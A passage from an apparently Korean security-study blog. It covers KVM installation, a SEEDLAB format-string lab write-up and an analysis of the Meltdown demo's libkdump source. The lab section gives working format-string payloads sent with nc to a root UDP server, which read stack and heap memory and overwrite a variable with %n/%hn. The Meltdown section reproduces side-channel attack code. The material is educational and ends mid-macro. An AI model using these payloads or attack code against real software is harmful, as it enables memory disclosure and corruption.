마지막으로 단계 3에서는 VM들의 NIC interface를 각각 enp6s0, enp7s0와 각각 같은 network에 존재할 수 있도록 설정하면 된다.

최종 Network configuraiton은 다음과 같다.

[Ubuntu 20.04] How to install KVM(Kernel-based Virtual Machine)

MarcoKhan — Sun, 31 Jan 2021 13:20:55 +0900

이번 장에서는 Ubuntu 20.04 환경에서 KVM(Kernel-based Virtual Machine)을 설치하는 방법에 대해 기술한다.

우선 Intel의 경우 VT-x 기능을 AMD 경우 AMD-V 기능을 enable 해야한다.

환경 확인

현재 사용하고 있는 processor가 virtualization을 supoprting 하는지 확인하기 위해서 아래와 같은 명령어를 사용한다.

$ grep -Eoc '(vmx|svm)' /proc/cpuinfo
32

0 이상의 숫자가 나오면 현재 virtualization 기능이 enabled 되어 있다는 뜻이다.

만일 0의 값이 출력되면 BIOS에서 virtualizaiton 기능을 enable 해야한다.

혹은 cpu-checker 패키지의 kvm-ok 명령어를 이용할 수 있다.

$ sudo apt update
$ sudo apt install cpu-checker

$ kvm-ok
INFO: /dev/kvm exists
KVM acceleration can be used

output이 위와 같이 나온다면 정상적으로 virtualizaiton 기능을 이용할 수 있다

Ubuntu 20.04에서 KVM 설치

KVM을 설치하기 위해서 아래와 같은 명령어를 사용한다.

$ sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virtinst virt-manager

qemu-kvm: KVM hypervisror를 위해 hardware emulation을 제공한다.

libvirt-daemon-system: libvirt daemon을 system service로서 동작시키기 위한 파일

libvirt-clients: virtualization platform을 관리하기 위한 소프트웨어

bridge-utils: ethernet bridges를 구성하기 위한 command 모음

virtinst: virtual machien을 생성하기 위한 command 모음

virt-manager: virtual machine을 관리하기 위한 GUI interface와 command 모음

아래와 같은 명령어를 통해 KVM을 성공적으로 이용할 수 있다.

$ sudo virt-manager

reference: linuxize.com/post/how-to-install-kvm-on-ubuntu-20-04/

SEEDLAB Chap 6: Format String Vulnerability Lab

MarcoKhan — Thu, 28 Jan 2021 22:59:39 +0900

"Computer & Internet security : A Hand-on Approach" 서적의 내용 중 System security에 관련된 내용을 기술한다.

본 블로그에서는 6장 "Format String vulnerability"에 대한 실습 내용을 풀이한다.

SEEDLAB에서 제공하는 실습 task 중 유의미한 task들에 대해서만 풀이를 진행한다.

Disable the mitigaitons

Task들을 시작하기 전에 최근 Ubuntu에서 동작하는 mitigation인 KASLR을 disable 해야한다.

Format string vulnerability를 exploit하기 위해서 반드시 KASLR을 disable 해야하는 것은 아니지만, 실험의 편의를 위해 disable한다.

$ sudo sysctl -w kernel.randomize_va_space=0

Task 1: The Vulnerable Program

You are given a vulnerable program that has a format string vulnerability. This program is a server program. When it runs, it listens to UDP port 9090. Whenever a UDP packet comes to this port, the program get the data and invokes myprintf() to print out the data. The server is a root daemon, i.e., it runs with the root privilege. Inside the myprintf() function, there is a format string vulnerability. We will exploit this vulnerability to gain the root privilege.

  1 #include <stdio.h>
  2 #include <stdlib.h>
  3 #include <unistd.h>
  4 #include <string.h>
  5 #include <sys/socket.h>
  6 #include <netinet/ip.h>
  7 
  8 #define PORT 9090
  9 
 10 /* Changing this size will change the layout of the stack.
 11  * We have added 2 dummy arrays: in main() and myprintf().
 12  * Instructors can change this value each year, so students 
 13  * won't be able to use the solutions from the past.   
 14  * Suggested value: between 0 and 300  */
 15 #ifndef DUMMY_SIZE
 16 #define DUMMY_SIZE 100
 17 #endif
 18 
 19 char *secret = "A secret message\n";
 20 unsigned int  target = 0x11223344;
 21 
 22 void myprintf(char *msg)
 23 {
 24     uintptr_t framep;
 25     // Copy the ebp value into framep, and print it out
 26     asm("movl %%ebp, %0" : "=r"(framep));
 27     printf("The ebp value inside myprintf() is: 0x%.8x\n", framep);
 28 
 29     /* Change the size of the dummy array to randomize the parameters 
 30        for this lab. Need to use the array at least once */
 31     char dummy[DUMMY_SIZE];  memset(dummy, 0, DUMMY_SIZE);
 32 
 33     // This line has a format-string vulnerability
 34     printf(msg);
 35     printf("The value of the 'target' variable (after): 0x%.8x\n", target);
 36 }
 37 
 38 /* This function provides some helpful information. It is meant to
 39  *   simplify the lab tasks. In practice, attackers need to figure
 40  *   out the information by themselves. */
 41 void helper()
 42 {
 43     printf("The address of the secret: 0x%.8x\n", (unsigned) secret);
 44     printf("The address of the 'target' variable: 0x%.8x\n",
 45             (unsigned) &target);
 46     printf("The value of the 'target' variable (before): 0x%.8x\n", target);
 47 }
 48 
 49 void main()
 50 {
 51     struct sockaddr_in server;
 52     struct sockaddr_in client;
 53     int clientLen;
 54     char buf[1500];
 55 
 56     /* Change the size of the dummy array to randomize the parameters 
 57        for this lab. Need to use the array at least once */
 58     char dummy[DUMMY_SIZE];  memset(dummy, 0, DUMMY_SIZE);
 59 
 60     printf("The address of the input array: 0x%.8x\n", (unsigned) buf);
 61 
 62     helper();
 63 
 64     int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
 65     memset((char *) &server, 0, sizeof(server));
 66     server.sin_family = AF_INET;
 67     server.sin_addr.s_addr = htonl(INADDR_ANY);
 68     server.sin_port = htons(PORT);
 69 
 70     if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0)
 71         perror("ERROR on binding");
 72 
 73     while (1) {
 74         bzero(buf, 1500);
 75         recvfrom(sock, buf, 1500-1, 0,
 76                  (struct sockaddr *) &client, &clientLen);
 77         myprintf(buf);
 78     }
 79     close(sock);
 80 }

코드 설명은 다음과 같다.

Line 51-52: sockadd_in 구조체는 IPv4 주소를 저장하는 구조체이다.

Line 53-54: 추후 사용될 recvfrom 함수를 위해 변수를 선언한다.

Line 58: dummy 배열을 선언하고 dummy 배열의 모든 element를 0으로 초기화한다.

Line 60: buf 배열의 주소를 출력한다.

Line 62, 41-47: helper() 함수를 호출하여 secret이 포함하고 있는 문자열의 주소와 target 변수의 주소와 값을 출력한다.

Line 64: AF_INET(IPv4)를 사용하고 SOCK_DGRAM(UDP)를 사용하며, IPROTO_UDP를 사용한다. socket()의 반환 값은

socket descripter이고 socket을 생성한다.

Line 65: sockaddr_in 구조체인 server 변수를 0으로 초기화한다.

Line 66-68: server의 network type과 ip주소, port를 지정해준다. INADDR_ANY을 서버의 IP주소를 자동 할당한다. htonl() 함수는 "host to network long" 의 약어로 host가 network로 long 크기의 데이터를 보낼 때 바이트 order를 바꿔준다. htons() 함수는 "network to network short"는 short 크기의 데이터를 보낼 때 바이트 order를 변경해준다.

struct sockaddr_in {
        short   sin_family;
        u_short sin_port;
        struct  in_addr sin_addr;
        char    sin_zero[8];
};

Line 70-71: bind() 함수를 이용하여 socket과 server의 정보를 묶어준다.

Line 73-78: bzero() 함수를 이용해 buf 변수를 0으로 초기화한다. recvfrom() 함수를 이용해 socket으로 들어온 데이터 1499 byte까지 읽어들여 buf에 저장하고, myprint 함수를 호출한다.

Compilation. Compile the above program. You will receive a warning message. This warning message is a countermeasure implemented by the gcc compiler against format string vulnerabilities. We can ignore this warning message for now.

$ gcc -z execstack -o server server.c 
server.c: In function ‘myprintf’:
server.c:34:5: warning: format not a string literal and no format arguments [-Wformat-security]
     printf(msg);
     ^

It should be noted that the program needs to be compiled using the "-z execstack" option, which allows the stack to be executable. This option has no impact on Tasks 1 to 5, but for Tasks 6 and 7, it is important. In these two tasks, we need to inject malicious code into this server program’s stack space; if the stack is not executable, Tasks 6 and 7 will fail. Non-executable stack is a countermeasure against stackbased code injection attacks, but it can be defeated using the return-to-libc technique. To simplify this lab, we simply disable this defeat-able countermeasure.

Running and testing the server. The ideal setup for this lab is to run the server on one VM, and then launch the attack from another VM. However, it is acceptable if students use one VM for this lab. On the server VM, we run our server program using the root privilege. We assume that this program is a privileged root daemon. The server listens to port 9090. On the client VM, we can send data to the server using the nc command, where the flag "-u" means UDP (the server program is a UDP server). The IP address in the following example should be replaced by the actual IP address of the server VM, or 127.0.0.1 if the client and server run on the same VM.

// On the server VM
$ sudo ./server

// On the client VM: send a "hello" message to the server
$ echo hello | nc -u 127.0.0.1 9090

// On the client VM: send the content of badfile to the server
$ nc -u 127.0.0.1 9090 < badfile

Yon can send any data to the server. The server program is supposed to print out whatever is sent by you. However, a format string vulnerability exists in the server program’s myprintf() function, which allows us to get the server program to do more than what it is supposed to do, including giving us a root access to the server machine. In the rest of this lab, we are going to exploit this vulnerability.

결과화면은 다음과 같다.

// server
$ ./server 
The address of the input array: 0xbfffe680
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffe5d8
hello

Task 2: Understanding the Layout of the Stack

To succeed in this lab, it is essential to understand the stack layout when the printf() function is invoked inside myprintf(). Figure 1 depicts the stack layout. You need to conduct some investigation and calculation. We intentionally print out some information in the server code to help simplify the investigation. Based on the investigation, students should answer the following questions:

• Question 1: What are the memory addresses at the locations marked by 1, 2, and 3?
• Question 2: What is the distance between the locations marked by 1 and 3?

1번의 주소 즉, format string의 주소를 알기 위해서 여러개의 %x를 사용하여 buffer의 시작주소를 찾으면 된다.

client의 badfile의 내용을 다음과 같이 설정하고 nc 명령어를 통해 server에게 udp 패킷을 전송한다.

Server는 Client가 보낸 문자열을 format string으로 인식하여 다음과 같은 결과 화면을 보여준다.

'@' 문자는 아스키 코드로 0x40이고, buf 변수의 가장 처음 4byte를 차지하고 있다. 따라서 %.8x format specifier로 여러번 stack 영역을 조사했을 때 총 79개의 %.8x가 필요한것을 확인하였다.

Task 3: Crash the Program

The objective of this task is to provide an input to the server, such that when the server program tries to print out the user input in the myprintf() function, it will crash.

client $ echo %s%s%s%s%s%s%s | nc -u 127.0.0.1 9090
server $
Segmentation fault

즉, va_list 가 가리키는 주소를 string으로 인식하여 NULL 문자를 만날 때까지 읽기 때문에 inaccessible한 address에 access하게 되면 segmentation fault가 발생한다.

Task 4: Print out the Server Program's Memory

The objective of this task is to get the server to print out some data from its memory. The data will be printed out on the server side, so the attacker cannot see it. Therefore, this is not a meaningful attack, but the technique used in his task will be essential for the subsequent tasks.

• Task 4.A: Stack Data. The goal is to print out the data on the stack (any data is fine). How many
format specifiers do you need to provide so you can get the server program to print out the first four
bytes of your input via a %x?

-> 앞선 Task3에서 실험한 것처럼 79개의 %x가 필요하다.

$%80$8x를 통해 va_list의 80번째 argument에 접근해 8자리수로 출력한다.

// server
$ python -c 'print "@@@@%80$8x"' > badfile
$ ./server 
The address of the input array: 0xbfffe680
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffe5d8
@@@@40404040
The value of the 'target' variable (after): 0x11223344

// client
$ nc -u 127.0.0.1 9090  < badfile

• Task 4.B: Heap Data. There is a secret message stored in the heap area, and you know its address;
your job is to print out the content of the secret message. To achieve this goal, you need to place
the address (in the binary form) of the secret message in your input (i.e., the format string), but it is
difficult to type the binary data inside a terminal. We can use the following commands do that.

-> Task 4.A와 마찬가지로 payload 길이를 줄이기 위해 %k$s 형태의 shorted format string을 사용하면 된다.

다음과 같이 secret 변수의 주소를 little endian으로 기입하면 충분하다.

//server
[02/02/21]seed@VM:~/.../format_string$ ./server 
The address of the input array: 0xbfffe680
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffe5d8
p�A secret message

The value of the 'target' variable (after): 0x11223344

// client
$ python -c 'print "\x70\x88\x04\x08%80$s"' > badfile 
$ nc -u 127.0.0.1 9090  < badfile

다음과 같은 표현도 가능하지만 buf[1500]의 offset 위치를 알고 있기 때문에 %k$[format specifier] 형식을 사용하는 것이 훨씬 쉽다.

$ echo $(printf "\x04\xF3\xFF\xBF")%.8x%.8x | nc -u 10.0.2.5 9090

// Or we can save the data in a file
$ echo $(printf "\x04\xF3\xFF\xBF")%.8x%.8x > badfile
$ nc -u 10.0.2.5 9090 < badfile

It should be noted that most computers are little-endian machines, so to store an address 0xAABBCCDD (four bytes on a 32-bit machine) in memory, the least significant byte 0xDD is stored in the lower address, while the most significant byte 0xAA is stored in the higher address. Therefore, when we store the address in a buffer, we need to save it using this order: 0xDD, 0xCC, 0xBB, and then 0xAA.

Task 5: Change the Server Program's Memory

The objective of this task is to modify the value of the target variable that is defined in the server program. Its original value is 0x11223344. Assume that this variable holds an important value, which can affect the control flow of the program. If remote attackers can change its value, they can change the behavior of this program. We have three sub-tasks.

• Task 5.A: Change the value to a different value. In this sub-task, we need to change the content of the target variable to something else. Your task is considered as a success if you can change it to a different value, regardless of what value it may be.

'target' 변수의 값을 0x123으로 바꾸기 위한 작업이다.

// Server
$ ./server 
The address of the input array: 0xbfffe680
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffe5d8
D�00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
The value of the 'target' variable (after): 0x00000123

// client
$ python -c 'print  "\x44\xa0\x04\x08%.287x%80$n"' > badfile 
$ nc -u 127.0.0.1 9090  < badfile

• Task 5.B: Change the value to 0x500. In this sub task, we need to change the content of the target variable to a specific value 0x500. Your task is considered as a success only if the variable’s value becomes 0x500.

// Server

$ ./server 
The address of the input array: 0xbfffe680
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffe5d8
D�0000000000000000000000000000 ... (more zeros) ... 0000000000000000000000000
The value of the 'target' variable (after): 0x00000500

// Client
$ python -c 'print  "\x44\xa0\x04\x08%.1276x%80$n"' > badfile 
$ nc -u 127.0.0.1 9090  < badfile

Task 5.C: Change the value to 0xFF990000. This sub-task is similar to the previous one, except that the target value is now a large number. In a format string attack, this value is the total number of characters that are printed out by the printf() function; printing out this large number of characters may take hours. You need to use a faster approach. The basic idea is to use %hn, instead of %n, so we can modify a two-byte memory space, instead of four bytes. Printing out 216 characters does not take much time. We can break the memory space of the target variable into two blocks of memory, each having two bytes. We just need to set one block to 0xFF99 and set the other one to 0x0000. This means that in your attack, you need to provide two addresses in the format string.

In format string attacks, changing the content of a memory space to a very small value is quite challenging (please explain why in the report); 0x00 is an extreme case. To achieve this goal, we need to use an overflow technique. The basic idea is that when we make a number larger than what the storage allows, only the lower part of the number will be stored (basically, there is an integer overflow). For example, if the number 216 + 5 is stored in a 16-bit memory space, only 5 will be stored. Therefore, to get to zero, we just need to get the number to 216 = 65,536.

우선 0xFF99와 0x10000 두 부분으로 나눠야한다.

little endian 방식을 사용하기 때문에 0x0804a046에는 0xFF99, 0x0804a644에는 103을 추가로 더해서 구성한다.

0xFF99 - 0x8 = 0xFF91 = 65425 (0x0804a046)

0x10000 - 0xFF91 - 0x8 = 0x67 = 103 (0x0804a644)

// Server
$ ./server 
The address of the input array: 0xbfffe680
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffe5d8
D�0000000000000000000000000000 ... (more zeros) ... 0000000000000000000000000
The value of the 'target' variable (after): 0xff990000

// client
$ python -c 'print "\x46\xa0\x04\x08\x44\xa0\x04\x08%65425x%80$hn%103x%81$hn"' > badfile
$ nc -u 127.0.0.1 9090  < badfile

Task 8: Fixing the Problem

Remember the warning message generated by the gcc compiler? Please explain what it means. Please fix the vulnerability in the server program, and recompile it. Does the compiler warning go away? Do your attacks still work? You only need to try one of your attacks to see whether it still works or not.

현재 server.c를 compile하면 다음과 같은 warning이 발생한다.

$ !gcc
gcc -z execstack -o server server.c
server.c: In function ‘myprintf’:
server.c:34:5: warning: format not a string literal and no format arguments [-Wformat-security]
     printf(msg);
     ^

따라서 다음과 같이 방어할 수 있다.

// secure_server.c

 22 void myprintf(char *msg)
 23 {
 24     uintptr_t framep;
 25     // Copy the ebp value into framep, and print it out
 26     asm("movl %%ebp, %0" : "=r"(framep));
 27     printf("The ebp value inside myprintf() is: 0x%.8x\n", framep);
 28 
 29     /* Change the size of the dummy array to randomize the parameters 
 30        for this lab. Need to use the array at least once */
 31     char dummy[DUMMY_SIZE];  memset(dummy, 0, DUMMY_SIZE);
 32 
 33     // This line has a format-string vulnerability
 34	// printf(msg);
 35     printf("%s", msg);
 36     printf("The value of the 'target' variable (after): 0x%.8x\n", target);
 37 }

line 34를 line 34로 바꾸어 user가 format specifier를 작성하지 못하도록 변경할 수 있다.

결과값은 다음과 같다.

$ ./secure_server 
The address of the input array: 0xbfffe660
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffe5b8
hello
The value of the 'target' variable (after): 0x11223344
The ebp value inside myprintf() is: 0xbfffe5b8
F�D�%65425x%80$hn%103x%81$hn
The value of the 'target' variable (after): 0x11223344
^C

Format string vulnerability를 방어하기 위해서 Developer의 노력 혹은 Compiler의 경고 능력, ASLR, NX bit 설정 등이 요구 된다.

Analyze the Meltdown demo #1: A first test(test)

MarcoKhan — Wed, 20 Jan 2021 22:32:45 +0900

Demo #1

Demo #1은 간단하게 현재 실험 PC가 meltdown에 취약한지, 즉 meltdown 공격으로 exploit 가능한 환경인지 test 하는 demo이다.

기존의 isolation mecahnism을 breaking 하는 것이 아니라 user 자신의 address space를 meltdown 공격을 이용해 읽어들인다.

만일 demo 1에 실패했다면... CPU 문제(2010 이전의 CPU, 혹은 최신 실리콘 패치가 완료된 CPU) 등이 있을 수 있으니 반드시 demo 1이 정상적으로 작동하는 것을 확인하고 이후 demo로 넘어가는 것을 추천한다.

Build & Run

$ make
$ taskset 0x1 ./test

정상적인 결과화면은 다음과 같다.

Expect: Pay no attention to the content of this string
   Got: Pay no attention to the content of this string

Demo #1 source 분석

Demo #1에서 사용된 test.c의 소스코드는 다음과 같다.

main 함수부터 line by line으로 분석할 것이다. (code 1. 참고)

  1 #include "libkdump.h"
  2 #include <stdio.h>
  3 #include <stdlib.h>
  4 #include <string.h>
  5 #include <time.h>
  6 
  7 const char *strings[] = {
  8     "If you can read this, at least the auto configuration is working",
  9     "Generating witty test message...",
 10     "Go ahead with the real exploit if you dare",
 11     "Have a good day.",
 12     "Welcome to the wonderful world of microarchitectural attacks",
 13     "Pay no attention to the content of this string",
 14     "Please wait while we steal your secrets...",
 15     "Would you like fries with that?",
 16     "(insert random quote here)",
 17     "Don't panic...",
 18     "Wait, do you smell something burning?",
 19     "How did you get here?"};
 20 
 21 int main(int argc, char *argv[]) {
 22   libkdump_config_t config;
 23   config = libkdump_get_autoconfig();
 24   libkdump_init(config);
 25 
 26   srand(time(NULL));
 27   const char *test = strings[rand() % (sizeof(strings) / sizeof(strings[0]))];
 28   int index = 0;
 29 
 30   printf("Expect: \x1b[32;1m%s\x1b[0m\n", test);
 31   printf("   Got: \x1b[33;1m");
 32   while (index < strlen(test)) {
 33     int value = libkdump_read((size_t)(test + index));
 34     printf("%c", value);
 35     fflush(stdout);
 36     index++;
 37   }
 38 
 39   printf("\x1b[0m\n");
 40   libkdump_cleanup();
 41 
 42   return 0;
 43 }

< Code1. test.c>

Line 22: libkdump_config_t는 공격에 필요한 여러 데이터들을 structure로 관리한다. (Code 2. 참고)

/**
 * libkdump load thread action
 */
typedef enum {
    NOP, /**< Just run an endless loop */
    IO, /**< Perform I/O operations to trigger interrupts */
    YIELD /**< Continuously switch to the operating system */
} libkdump_load_t;

/**
 * libkdump configuration
 */
typedef struct {
  size_t cache_miss_threshold; /**< Cache miss threshold in cycles for Flush+Reload */
  libkdump_fault_handling_t fault_handling; /**< Type of fault handling (TSX or signal handler) */
  int measurements; /**< Number of measurements to perform for one address */
  int accept_after; /**< How many measurements must be the same to accept the read value */
  int load_threads; /**< Number of threads which are started to increase the chance of reading from inaccessible addresses */
  libkdump_load_t load_type; /**< Function the load threads should execute */
  int retries; /**< Number of Meltdown retries for an address */
  size_t physical_offset; /**< Address of the physical direct map */
} libkdump_config_t;

<Code 2. libkdump.h - libkdump_config_t structure>

Line 23: Line 22에서 선언한 config 자료구조를 default value로 초기화한다.

libkdump_get_autoconfig() 함수는 libkdump.c에서 찾아볼 수 있다. (Code 3. 참고)

Line 23에서 호출한 libkdump_get_autoconfig()는 auto_config() 함수를 호출하고 auto_config() 함수는 다음과 같은 일을 수행한다.

static libkdump_config_t config;

libkdump_config_t libkdump_get_autoconfig() {
  auto_config();
  return config;
}

static void auto_config() {
  debug(INFO, "Auto configuration\n");
  detect_fault_handling();
  detect_flush_reload_threshold();
  config.measurements = 3;
  config.accept_after = 1;
  config.load_threads = 1;
  config.load_type = NOP;
  config.retries = 10000;
  config.physical_offset = DEFAULT_PHYSICAL_OFFSET;
}

<Code 3. libkdump.c - auto_config()>

detect_fault_handler(): 이 함수는 meltdown 공격시 발생하는 falut를 무엇으로 suppression 할지에 대한 결정을 하는 함수이다. 일반전으로 Intel TSX가 signal hander를 사용하는 것보다 성능이 좋기 때문에 내부적으로 현재 CPU가 TSX를 지원하는지 확인하고 TSX를 support한다면 TSX를 falut suppressing 하는데 사용한다. (Code 4. 참고)

// ---------------------------------------------------------------------------
static int check_tsx() {
#if !defined(NO_TSX) && !defined(FORCE_TSX)
  if (__get_cpuid_max(0, NULL) >= 7) {
    unsigned a, b, c, d;
    __cpuid_count(7, 0, a, b, c, d);
    return (b & (1 << 11)) ? 1 : 0;
  } else
    return 0;
#elif defined(FORCE_TSX)
  return 1;
#else /* defined (NO_TSX) */
  return 0;
#endif
}

// ---------------------------------------------------------------------------
static void detect_fault_handling() {
  if (check_tsx()) {
    debug(SUCCESS, "Using Intel TSX\n");
    config.fault_handling = TSX;
  } else {
    debug(INFO, "No Intel TSX, fallback to signal handler\n");
    config.fault_handling = SIGNAL_HANDLER;
  }
}

<Code 4. libkdump.c - detect_fault_handling()>

detect_flush_reload_threshold(): Meltdown 공격을 이용할 때 cache에 encoding 한 값을 recover하기 위해서 flush+reload 공격을 사용한다. flush+reload는 cache hit과 miss의 timing difference를 이용하기 때문에 data load를 하여 얻은 값이 cache hit인지 miss인지 구별해야한다. threshold를 계산할 때 "(flush_reload_time + reload_time * 2) / 3"를 하는 정확한 이유는 알지 모르지만 관습적으로 사용되는 것 같다. (Code 5. 참고)

// ---------------------------------------------------------------------------
static void detect_flush_reload_threshold() {
  size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000;
  size_t dummy[16];
  size_t *ptr = dummy + 8;
  uint64_t start = 0, end = 0;

  maccess(ptr);
  for (i = 0; i < count; i++) {		// measure the cache hit cycles
    start = rdtsc();
    maccess(ptr);
    end = rdtsc();
    reload_time += (end - start);
  }
  for (i = 0; i < count; i++) {		// measure the cache miss cycles
    start = rdtsc();
    maccess(ptr);
    end = rdtsc();
    flush(ptr);
    flush_reload_time += (end - start);
  }
  reload_time /= count;			// avg cycles of cache hit
  flush_reload_time /= count;	// avg cycles of cache miss

  debug(INFO, "Flush+Reload: %zd cycles, Reload only: %zd cycles\n",
        flush_reload_time, reload_time);
  config.cache_miss_threshold = (flush_reload_time + reload_time * 2) / 3;
  debug(SUCCESS, "Flush+Reload threshold: %zd cycles\n",
        config.cache_miss_threshold);
}

<Code 5. libkdump.c - detect_flush_reload_threshold()>

config.measurements = 3: one address에 대해 3번 측정을 한다.
config.accept_after = 1: 읽은 값을 확신하기 위해서 같은 값이 한 번 이상 나와야한다.
config.load_threads = 1: inaccessible address로부터 값을 read할 가능성을 높이기 위해서 실행할 thread의 수
config.load_type = NOP: endless loop를 실행한다.
config.retries = 10000: meltdown이 an address에 대해 retry 할 횟수
config.physical_offset = DEFAULT_PHYSICAL_OFFSET: physical direct map address, 즉 0xffff880000000000ull이다.

일반적으로 "ffff880000000000 - ffffc7ffffffffff" 공간이 direct mapping of all physical memory 영역이다.

Line 24: libkdump_init(config); 함수를 실행하여 meltdown 공격을 위한 준비 단계이다.(Code 6. 참고)

// ---------------------------------------------------------------------------
int libkdump_init(const libkdump_config_t configuration) {
  int j;
  config = configuration;
  if (memcmp(&config, &libkdump_auto_config, sizeof(libkdump_config_t)) == 0) {                 // if config is not initialized
    auto_config();                                                                              // Initialize the config
  }

  int err = check_config();                                                                     // check the treshold of flush+reload
  if (err != 0) {
    errno = err;
    return -1;
  }
  _mem = malloc(4096 * 300);                                                                    // static char *_mem = NULL
  if (!_mem) {                                                                                  // for read 1 byte of value
    errno = ENOMEM;
    return -1;
  }
  mem = (char *)(((size_t)_mem & ~0xfff) + 0x1000 * 2);                                         // masking LSB 12bit with 0x1000
  memset(mem, 0xab, 4096 * 290);

  for (j = 0; j < 256; j++) {                                                                   // flush the all pages(1 byte(256 bits))
    flush(mem + j * 4096);
  }

  load_thread = malloc(sizeof(pthread_t) * config.load_threads);                                // The number of threads wich are started to increase
  void *thread_func;                                                                            // the chance of reading from inaccessble addresses
  switch (config.load_type) {
  case IO:
    thread_func = syncthread;
    break;
  case YIELD:
    thread_func = yieldthread;
    break;
  case NOP:
  default:
    thread_func = nopthread;                                                                    // nop operation with endless loop
  }

  for (j = 0; j < config.load_threads; j++) {
    int r = pthread_create(&load_thread[j], 0, thread_func, 0);
    if (r != 0) {                                                                               // if pthrea_create is failed..
      int k;
      for (k = 0; k < j; k++) {
        pthread_cancel(load_thread[k]);                                                         // Cancle the thread
      }
      free(load_thread);
      free(_mem);
      errno = r;
      return -1;
    }
  }
  debug(SUCCESS, "Started %d load threads\n", config.load_threads);

  if (config.fault_handling == SIGNAL_HANDLER) {                                                // If the CPU dose not support INTEL TSX
    if (signal(SIGSEGV, segfault_handler) == SIG_ERR) {                                         // eroll the segfault_handler
      debug(ERROR, "Failed to setup signal handler\n");
      libkdump_cleanup();
      return -1;
    }
    debug(SUCCESS, "Successfully setup signal handler\n");
  }
  return 0;
}

<Code 6. libkdump.c - libkdump_init()>

parameter로 받은 configuration 변수를 사용자가 설정했는지를 확인한다. 만일 직접 설정을 했다면 따로 configuration 변수를 초기화하지 않는다.

chekc_config() 함수를 호출하여 이전에 측정한 threshold가 올바는 값인지 확인한다.

"4KB * 300" 크기를 갖는 메모리(mem)를 할당한다. 추후 meltdown 공격으로 읽은 값을 이 메모리(배열)에 인코딩한다.

이 메모리(mem)의 staring address를 페이지 단위로 접근하도록 하위 12bit를 0으로 마스킹한다.

(처음 2개의 페이지는 사용하지 않는데.. 이유를 모르겠다...)

메모리(mem)를 구성하는 여러 페이지의 첫 번째 cache line을 flush 한다.

meltdown을 이용해 inaccessible address를 접근하여 데이터를 read할 가능성을 높이기 위해 dummy instruction을 계속 수행한는 thread를 생성한다.

만일 fault를 signal handler로 suppressing 하면 signal handler를 등록한다.

Line 26-27: strings[] 배열의 여러 string 중 하나만 선정하여 test 변수에 저장한다.

Line 32-37: test 변수가 가리키는 문자열을 한 byte 씩 meltdown을 이용해서 읽는다. libkdump_read()를 호출하여 1 byte read를 수행 (Code 7. 참고)

// ---------------------------------------------------------------------------
int __attribute__((optimize("-O0"))) libkdump_read(size_t addr) {
  phys = addr;

  char res_stat[256];
  int i, j, r;
  for (i = 0; i < 256; i++)
    res_stat[i] = 0;

  sched_yield();

  for (i = 0; i < config.measurements; i++) {
    if (config.fault_handling == TSX) {
      r = libkdump_read_tsx();
    } else {
      r = libkdump_read_signal_handler();
    }
    res_stat[r]++;
  }
  int max_v = 0, max_i = 0;

  if (dbg) {
    for (i = 0; i < sizeof(res_stat); i++) {
      if (res_stat[i] == 0)
        continue;
      debug(INFO, "res_stat[%x] = %d\n",
            i, res_stat[i]);
    }
  }

  for (i = 1; i < 256; i++) {
    if (res_stat[i] > max_v && res_stat[i] >= config.accept_after) {
      max_v = res_stat[i];
      max_i = i;
    }
  }
  return max_i;
}

<Code 7. libkdump.c - libkdump_read()>

res_stat[256] 변수를 선언한다. 이 변수는 이후 meltdown으로 읽어들인 변수 값의 횟수를 기록하는데 사용된다.

따라서 res_stat[256]의 element를 모두 0으로 초기화한다.

sched_yield()를 정확히 왜 사용하는지는 잘 모르겠다.... ㅠ

이전에 설정한 횟수만큼 한 바이트 read를 반복하고 나온 값을 res_stat[] 변수를 이용해 counting한다.

여기서 CPU가 TSX를 supporting 하는지 하지 않는지에 따라 libkdump_read_tsx()와 libkdump_read_signal_handler()로 나뉜다.

res_stat 변수중 가장 많이 나온 값을 meltdown이 읽어들인 값으로 생각한다.

좀 더 libkdump_read_tsx() 함수를 자세히 보자. (Code 8. 참고)

int __attribute__((optimize("-Os"), noinline)) libkdump_read_tsx() {
#ifndef NO_TSX
  size_t retries = config.retries + 1;
  uint64_t start = 0, end = 0;

  while (retries--) {
    if (xbegin() == _XBEGIN_STARTED) {
      MELTDOWN;
      xend();
    }
    int i;
    for (i = 0; i < 256; i++) {
      if (flush_reload(mem + i * 4096)) {
        if (i >= 1) {
          return i;
        }
      }
      sched_yield();
    }
    sched_yield();
  }
#endif
  return 0;
}

<Code 8. libkdump.c - libkdump_read_tsx()>

#ifndef NO_TSX ~ #endif는 NO_TSX가 정의되어 있지 않으면 해당 block을 실행한다는 뜻이다.

retries 변수에 일전에 설정한 retries 값을 할당한다.

xbegin() ~ xend()로 METLDOWN을 감싸 실행한다. MELTDOWN 코드가 하나의 transaction으로 실행된다.

MELTDOWN 공격으로 인해 읽어들인 값은 이전에 설정한 mem에 인코딩 될 것이고 flush_reload 기술을 이용해 이를 디코딩한다.

정상적으로 값을 읽으면 해당 값("i")를 return하고 정상적으로 값 읽기에 실패하면 0을 return 한다.

좀 더 MELTDOWN 코드를 자세히 보자. (Code 9. 참고)

#ifndef MELTDOWN
#define MELTDOWN meltdown_nonull
#endif

#ifdef __x86_64__

// ---------------------------------------------------------------------------
#define meltdown_nonull                                                        \
